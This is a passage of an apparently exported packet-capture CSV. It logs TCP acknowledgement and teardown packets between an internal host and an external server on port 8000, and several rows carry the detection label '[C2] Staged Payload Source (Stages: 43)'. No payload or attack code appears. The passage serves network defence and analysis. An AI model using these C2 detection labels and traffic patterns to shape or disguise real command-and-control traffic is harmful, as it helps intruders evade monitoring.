64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:07.926823,509,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6740004006e38cc0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lg@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19559, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58252, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:08.926803,510,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b091400080063f6d0a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45201, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16237, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:08.926825,511,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6840004006e38bc0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lh@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19560, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58251, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:09.927539,512,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b092400080063f6c0a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45202, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16236, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:09.927555,513,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6940004006e38ac0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Li@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19561, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58250, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:10.942426,514,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b093400080063f6b0a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45203, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16235, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:10.942449,515,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6a40004006e389c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lj@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19562, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58249, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:11.958176,516,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b094400080063f6a0a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45204, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16234, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:11.958207,517,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6b40004006e388c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lk@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19563, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58248, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:12.958132,518,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b095400080063f690a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45205, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16233, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:12.958158,519,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6c40004006e387c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Ll@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19564, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58247, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:13.973766,520,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025862 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b096400080063f680a98980bc0a3a789fa541f40e1d7f246a338c1425010201432c0000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45206, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16232, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025862, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12992, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:13.973786,521,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000344c6d40004006e386c0a3a7890a98980b1f40fa54a338c142e1d7f2478010003f0af700000101050ae1d7f246e1d7f247,\".$.6\n..$.)....E..4Lm@.@.......\n....@.T.8.B...G...?\n......\n...F...G\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19565, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58246, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025862, 3789025863))]\"\"}}]\"\n2026-07-01 09:09:14.680928,522,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2738405698 Ack=3789025863,bc2411360d0cbc24112907bb0800450000284c6e40004006e391c0a3a7890a98980b1f40fa54a338c142e1d7f2475011003f0aeb0000,\".$.6\n..$.)....E..(Ln@.@.......\n....@.T.8.B...GP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19566, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58257, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025863, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:14.681103,523,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3789025863 Ack=2738405699,bc24112907bbbc2411360d0c080045000028b097400080063f680a98980bc0a3a789fa541f40e1d7f247a338c1435010201432bf0000,\".$.)...$.6\n...E..(..@...?h\n........T.@...G.8.CP. .2...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45207, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16232, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025863, \"\"ack\"\": 2738405699, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12991, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:14.681910,524,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=3789025863 Ack=2738405699,bc24112907bbbc2411360d0c080045000028b098400080063f670a98980bc0a3a789fa541f40e1d7f247a338c1435011201432be0000,\".$.)...$.6\n...E..(..@...?g\n........T.@...G.8.CP. .2...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45208, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16231, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025863, \"\"ack\"\": 2738405699, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12990, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:14.681923,525,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405699 Ack=3789025864,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa54a338c143e1d7f2485010003f52930000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.T.8.C...HP..?R...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 